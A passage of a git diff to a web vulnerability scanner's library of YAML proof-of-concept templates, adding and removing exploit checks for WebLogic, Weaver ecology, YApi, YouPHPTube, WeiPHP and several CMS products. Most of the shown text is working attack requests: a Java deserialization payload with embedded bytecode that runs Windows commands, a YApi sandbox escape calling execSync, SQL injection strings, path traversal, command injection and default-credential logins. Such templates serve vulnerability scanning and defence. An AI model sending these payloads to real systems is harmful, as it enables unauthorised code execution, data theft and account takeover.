<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 - expression: | - response.body.bcontains(bytes(string(rand1 + rand2))) -detail: - author: tangshoupu - info: ecology-workflowservicexml-rce - links: - - https://www.anquanke.com/post/id/239865 \ No newline at end of file diff --git a/WebScan/pocs/weaver-ecology-workflowservicexml.yml b/WebScan/pocs/weaver-ecology-workflowservicexml.yml deleted file mode 100644 index 1e0c50f..0000000 --- a/WebScan/pocs/weaver-ecology-workflowservicexml.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: poc-yaml-ecology-workflowservicexml -set: - rand1: randomInt(1000, 9999) - rand2: randomInt(1000, 9999) -rules: - - method: POST - path: /services%20/WorkflowServiceXml - follow_redirects: false - headers: - Content-Type: text/xml - cmd: type c:\\windows\\win.ini - body: | - <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array> <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array> </__bytecodes> <__transletIndex>-1</__transletIndex> <__indentNumber>0</__indentNumber> </default> <boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/> </java.util.PriorityQueue> </java.util.PriorityQueue> 2 - expression: | - response.status == 500 && response.headers["Set-Cookie"].contains("ecology") && response.body.bcontains(b"for 16-bit app support") -detail: - author: tangshoupu - info: ecology-workflowservicexml-rce - links: - - https://www.anquanke.com/post/id/239865 \ No newline at end of file diff --git a/WebScan/pocs/weblogic-cve-2017-10271.yml b/WebScan/pocs/weblogic-cve-2017-10271.yml new file mode 100644 index 0000000..3f5908f --- /dev/null +++ b/WebScan/pocs/weblogic-cve-2017-10271.yml @@ -0,0 +1,34 @@ +name: poc-yaml-weblogic-cve-2017-10271 +set: + reverse: newReverse() + reverseURL: reverse.url +groups: + reverse: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + body: >- + {{reverseURL}} + follow_redirects: true + expression: > + reverse.wait(5) + + echo: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + body: >- + 505053555551485749 + follow_redirects: true + expression: > + response.body.bcontains(b"225773091") +detail: + vulnpath: "/wls-wsat/CoordinatorPortType" + author: fnmsd(https://github.com/fnmsd) + description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271" + links: + - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 + - https://github.com/QAX-A-Team/WeblogicEnvironment + - https://xz.aliyun.com/t/5299 diff --git a/WebScan/pocs/weblogic-cve-2020-14750.yml b/WebScan/pocs/weblogic-cve-2020-14750.yml index 8db8464..7129c38 100644 --- a/WebScan/pocs/weblogic-cve-2020-14750.yml +++ b/WebScan/pocs/weblogic-cve-2020-14750.yml @@ -4,7 +4,7 @@ rules: path: /console/images/%252E./console.portal follow_redirects: false expression: | - (response.status == 302 && response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console.portal?_nfpb=true"))) + response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp"))) detail: author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless) weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 diff --git a/WebScan/pocs/weblogic-v10-cve-2017-10271.yml b/WebScan/pocs/weblogic-v10-cve-2017-10271.yml deleted file mode 100644 index 1468f14..0000000 --- a/WebScan/pocs/weblogic-v10-cve-2017-10271.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch] -rules: - - method: POST - path: /wls-wsat/CoordinatorPortType - headers: - Content-Type: text/xml - body: >- - 505053555551485749 - follow_redirects: true - expression: > - response.body.bcontains(b"225773091") -detail: - vulnpath: '/wls-wsat/CoordinatorPortType' - author: fnmsd(https://github.com/fnmsd) - description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271' - weblogic_version: '10' - links: - - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 - - https://github.com/QAX-A-Team/WeblogicEnvironment - - https://xz.aliyun.com/t/5299 \ No newline at end of file diff --git a/WebScan/pocs/weblogic-v12-cve-2019-2725.yml b/WebScan/pocs/weblogic-v12-cve-2019-2725.yml deleted file mode 100644 index 176adae..0000000 --- a/WebScan/pocs/weblogic-v12-cve-2019-2725.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch] -rules: - - method: POST - path: /wls-wsat/CoordinatorPortType - headers: - Content-Type: text/xml - body: >- - fffhelloorg.slf4j.ext.EventDataconnectionHandlertrue505053555551485749]]> - follow_redirects: true - expression: > - response.body.bcontains(b"225773091") -detail: - vulnpath: '/wls-wsat/CoordinatorPortType' - author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166) - description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData' - weblogic_version: '>12' - links: - - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 - - https://github.com/QAX-A-Team/WeblogicEnvironment - - https://xz.aliyun.com/t/5299 \ No newline at end of file diff --git a/WebScan/pocs/webmin-cve-2019-15107-rce.yml b/WebScan/pocs/webmin-cve-2019-15107-rce.yml index 9a7a1ce..91489f4 100644 --- a/WebScan/pocs/webmin-cve-2019-15107-rce.yml +++ b/WebScan/pocs/webmin-cve-2019-15107-rce.yml @@ -2,6 +2,7 @@ name: poc-yaml-webmin-cve-2019-15107-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) + url: request.url rules: - method: POST path: /password_change.cgi diff --git a/WebScan/pocs/weiphp-path-traversal.yml b/WebScan/pocs/weiphp-path-traversal.yml new file mode 100644 index 0000000..ecf718c --- /dev/null +++ b/WebScan/pocs/weiphp-path-traversal.yml @@ -0,0 +1,23 @@ +name: poc-yaml-weiphp-path-traversal +rules: + - method: POST + path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php + body: | + "1":1 + expression: + response.status == 200 + - method: GET + path: /public/index.php/home/file/user_pics + search: | + /public/uploads/picture/(?P.+?)" + expression: + response.status == 200 + - method: GET + path: /public/uploads/picture/{{img}} + expression: + response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP") +detail: + author: sakura404x + version: Weiphp<=5.0 + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html diff --git a/WebScan/pocs/weiphp-sql.yml b/WebScan/pocs/weiphp-sql.yml new file mode 100644 index 0000000..da2980c --- /dev/null +++ b/WebScan/pocs/weiphp-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-weiphp-sql +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+ + expression: + response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) +detail: + author: sakura404x + version: Weiphp<=5.0 + links: + - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md diff --git a/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml b/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml new file mode 100644 index 0000000..4af3e12 --- /dev/null +++ b/WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml @@ -0,0 +1,13 @@ +name: poc-yaml-wifisky-default-password-cnvd-2021-39012 +rules: + - method: POST + path: /login.php?action=login&type=admin + follow_redirects: false + body: >- + username=admin&password=admin + expression: | + response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录，为保证设备安全，请立即修改密码\"}") +detail: + author: Print1n(http://print1n.top) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012 \ No newline at end of file diff --git a/WebScan/pocs/wuzhicms-v410-sqli.yml b/WebScan/pocs/wuzhicms-v410-sqli.yml new file mode 100644 index 0000000..7b76671 --- /dev/null +++ b/WebScan/pocs/wuzhicms-v410-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-wuzhicms-v410-sqli +rules: + - method: GET + path: >- + /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20 + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error") +detail: + author: leezp + Affected Version: "wuzhicms-v4.1.0" + vuln_url: "/api/sms_check.php" + links: + - https://github.com/wuzhicms/wuzhicms/issues/184 diff --git a/WebScan/pocs/xdcms-sql.yml b/WebScan/pocs/xdcms-sql.yml new file mode 100644 index 0000000..07541c1 --- /dev/null +++ b/WebScan/pocs/xdcms-sql.yml @@ -0,0 +1,15 @@ +name: poc-yaml-xdcms-sql +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/index.php?m=member&f=login_save" + body: | + username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+ + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: amos1 + links: + - https://www.uedbox.com/post/35188/ diff --git a/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml b/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml new file mode 100644 index 0000000..f0cc2a7 --- /dev/null +++ b/WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml @@ -0,0 +1,14 @@ +name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation +rules: + - method: GET + path: /install/ + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: '=< Xiuno BBS 4.0.4' + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348 diff --git a/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml b/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml new file mode 100644 index 0000000..75d69d7 --- /dev/null +++ b/WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml @@ -0,0 +1,15 @@ +name: poc-yaml-xunchi-cnvd-2020-23735-file-read +rules: + - method: GET + path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: ' >= V2.3' + links: + - http://www.cnxunchi.com + - https://www.cnvd.org.cn/flaw/show/2025171 diff --git a/WebScan/pocs/yapi-rce.yml b/WebScan/pocs/yapi-rce.yml new file mode 100644 index 0000000..b427144 --- /dev/null +++ b/WebScan/pocs/yapi-rce.yml @@ -0,0 +1,84 @@ +name: poc-yaml-yapi-rce +set: + redemail: randomLowercase(15) + redpassword: randomLowercase(15) + redproject: randomLowercase(8) + redinterface: randomLowercase(10) + r1: randomLowercase(10) + r2: randomLowercase(10) + r3: randomLowercase(10) + r4: randomLowercase(10) +rules: + - method: POST + path: /api/user/reg + headers: + Content-Type: application/json;charset=UTF-8 + follow_redirects: true + body: | + {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"} + expression: | + response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail)) + + - method: GET + path: /api/group/list + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1")) + + - method: POST + path: /api/project/add + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"} + search: | + tag":\[\],"_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功！")) && response.body.bcontains(bytes(redproject)) + + - method: GET + path: /api/project/get?id={{project_id}} + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功！")) + + - method: POST + path: /api/interface/add + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}} + search: | + "_id":(?P.+?), + expression: | + response.status == 200 && response.body.bcontains(bytes("成功！")) && response.body.bcontains(bytes(redinterface)) + + - method: POST + path: /api/plugin/advmock/save + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true} + expression: | + response.status == 200 && response.body.bcontains(bytes("成功！")) + + - method: GET + path: /mock/{{project_id}}/{{redinterface}} + expression: | + response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) + + - method: POST + path: /api/project/del + headers: + Content-Type: application/json;charset=UTF-8 + body: | + {"id":{{project_id}}} + expression: | + response.status == 200 +detail: + author: tangshoupu + info: yapi-rce + links: + - https://github.com/YMFE/yapi/issues/2229 diff --git a/WebScan/pocs/yccms-rce.yml b/WebScan/pocs/yccms-rce.yml new file mode 100644 index 0000000..e36105d --- /dev/null +++ b/WebScan/pocs/yccms-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yccms-rce +set: + r: randomInt(800000000, 1000000000) + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../" + expression: | + response.body.bcontains(bytes(string(r + r1))) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u),violin + yccms: v3.3 + links: + - https://blog.csdn.net/qq_36374896/article/details/84839891 diff --git a/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml b/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml deleted file mode 100644 index 211c1ee..0000000 --- a/WebScan/pocs/yongyou-erp-nc-directory-traversal.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: poc-yaml-yongyou-erp-nc-directory-traversal -rules: - - method: GET - path: /NCFindWeb?service=IPreAlertConfigService&filename= - expression: | - response.status == 200 && response.body.bcontains(b"WEB-INF") && response.body.bcontains(b"Tree.js") -detail: - author: B1anda0(https://github.com/B1anda0) - links: - - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/master/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BERP-NC%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md \ No newline at end of file diff --git a/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml b/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml new file mode 100644 index 0000000..11deeac --- /dev/null +++ b/WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yonyou-nc-bsh-servlet-bshservlet-rce +set: + r1: randomInt(8000, 9999) + r2: randomInt(8000, 9999) +rules: + - method: POST + path: /servlet/~ic/bsh.servlet.BshServlet + body: bsh.script=print%28{{r1}}*{{r2}}%29%3B + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml new file mode 100644 index 0000000..9c7ce3e --- /dev/null +++ b/WebScan/pocs/youphptube-encoder-cve-2019-5127.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5127 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getImage.php?base64Url={{payload}}&format=png + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml new file mode 100644 index 0000000..7f12c83 --- /dev/null +++ b/WebScan/pocs/youphptube-encoder-cve-2019-5128.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5128 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getImageMP4.php?base64Url={{payload}}&format=jpg + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml b/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml new file mode 100644 index 0000000..2393096 --- /dev/null +++ b/WebScan/pocs/youphptube-encoder-cve-2019-5129.yml @@ -0,0 +1,20 @@ +name: poc-yaml-youphptube-encoder-cve-2019-5129 +set: + fileName: randomLowercase(4) + ".txt" + content: randomLowercase(8) + payload: urlencode(base64("`echo " + content + " > " + fileName + "`")) +rules: + - method: GET + path: /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg + follow_redirects: true + expression: | + response.status == 200 + - method: GET + path: /objects/{{fileName}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(content)) +detail: + author: 0x_zmz(github.com/0x-zmz) + links: + - https://xz.aliyun.com/t/6708 diff --git a/WebScan/pocs/yungoucms-sqli.yml b/WebScan/pocs/yungoucms-sqli.yml new file mode 100644 index 0000000..5fc2792 --- /dev/null +++ b/WebScan/pocs/yungoucms-sqli.yml @@ -0,0 +1,14 @@ +name: poc-yaml-yungoucms-sqli +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: >- + /?/member/cart/Fastpay&shopid=-1%20union%20select%20md5({{rand}}),2,3,4%20--+ + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: cc_ci(https://github.com/cc8ci) + links: + - https://www.secquan.org/Prime/1069179 \ No newline at end of file diff --git a/WebScan/pocs/zabbix-default-password.yml b/WebScan/pocs/zabbix-default-password.yml index bfd35bb..7264136 100644 --- a/WebScan/pocs/zabbix-default-password.yml +++ b/WebScan/pocs/zabbix-default-password.yml @@ -4,8 +4,8 @@ rules: path: /index.php body: name=Admin&password=zabbix&autologin=1&enter=Sign+in expression: | - response.status == 302 && response.headers["location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session") + response.status == 302 && response.headers["Location"] == "zabbix.php?action=dashboard.view" && response.headers["set-cookie"].contains("zbx_session") detail: author: fuzz7j(https://github.com/fuzz7j) links: - - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login \ No newline at end of file + - https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login diff --git a/WebScan/pocs/zcms-v3-sqli.yml b/WebScan/pocs/zcms-v3-sqli.yml new file mode 100644 index 0000000..dc9d3b0 --- /dev/null +++ b/WebScan/pocs/zcms-v3-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-zcms-v3-sqli +rules: + - method: GET + path: >- + /admin/cms_channel.php?del=123456+AND+(SELECT+1+FROM(SELECT+COUNT(*)%2cCONCAT(0x7e%2cmd5(202072102)%2c0x7e%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)--%2b + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec991e") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.anquanke.com/post/id/183241 diff --git a/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml b/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml new file mode 100644 index 0000000..ab8cfe3 --- /dev/null +++ b/WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-zeit-nodejs-cve-2020-5284-directory-traversal +rules: + - method: GET + path: /_next/static/../server/pages-manifest.json + expression: | + response.status == 200 && response.headers["Content-Type"].contains("application/json") && "/_app\": \".*?_app\\.js".bmatches(response.body) +detail: + author: x1n9Qi8 + links: + - 